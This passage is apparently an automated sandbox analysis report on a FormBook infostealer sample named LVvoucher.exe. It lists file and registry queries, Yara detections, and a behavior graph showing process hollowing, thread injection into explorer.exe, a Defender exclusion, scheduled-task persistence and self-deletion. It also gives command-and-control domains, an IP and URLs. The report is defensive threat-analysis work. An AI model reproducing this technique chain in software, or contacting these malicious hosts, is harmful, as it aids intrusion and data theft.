Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 562062 Sample: LVvoucher.exe Startdate: 28/01/2022 Architecture: WINDOWS Score: 100 50 Found malware configuration 2->50 52 Malicious sample detected (through community Yara rule) 2->52 54 Antivirus detection for URL or domain 2->54 56 13 other signatures 2->56 10 LVvoucher.exe 7 2->10         started        process3 file4 38 C:\Users\user\AppData\Roaming\UcgxBJ.exe, PE32 10->38 dropped 40 C:\Users\user\...\UcgxBJ.exe:Zone.Identifier, ASCII 10->40 dropped 42 C:\Users\user\AppData\Local\...\tmp57C7.tmp, XML 10->42 dropped 44 C:\Users\user\AppData\...\LVvoucher.exe.log, ASCII 10->44 dropped 60 Uses schtasks.exe or at.exe to add and modify task schedules 10->60 62 Adds a directory exclusion to Windows Defender 10->62 64 Tries to detect virtualization through RDTSC time measurements 10->64 14 LVvoucher.exe 10->14         started        17 powershell.exe 25 10->17         started        19 schtasks.exe 1 10->19         started        21 LVvoucher.exe 10->21         started        signatures5 process6 signatures7 66 Modifies the context of a thread in another process (thread injection) 14->66 68 Maps a DLL or memory area into another process 14->68 70 Sample uses process hollowing technique 14->70 72 Queues an APC in another process (thread injection) 14->72 23 explorer.exe 14->23 injected 27 conhost.exe 17->27         started        29 conhost.exe 19->29         started        process8 dnsIp9 46 sistemaparadrogaria.com 162.214.116.198, 49797, 80 UNIFIEDLAYER-AS-1US United States 23->46 48 www.sistemaparadrogaria.com 23->48 58 System process connects to network (likely due to code injection or exploit) 23->58 31 cmstp.exe 23->31         started        signatures10 process11 signatures12 74 Self deletion via cmd delete 31->74 76 Modifies the context of a thread in another process (thread injection) 31->76 78 Maps a DLL or memory area into another process 31->78 80 Tries to detect virtualization through RDTSC time measurements 31->80 34 cmd.exe 1 31->34         started        process13 process14 36 conhost.exe 34->36         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.214.116.198
 sistemaparadrogaria.com United States
46606 UNIFIEDLAYER-AS-1US false

Contacted Domains

Name IP Active
sistemaparadrogaria.com 162.214.116.198 true
www.sistemaparadrogaria.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.sistemaparadrogaria.com/oh75/?FXYX=6lNHWfL8rfDPMNDP&q6eTdZlX=iOacuv//8nkeO8ddqiM7nG4ecSv6NmMEEJfIiPKVhzCjN03xI/UIDvMzPThYvy/caBBR true
  • Avira URL Cloud: safe
 unknown
www.wwwccsuresults.com/oh75/ true
  • Avira URL Cloud: malware
 low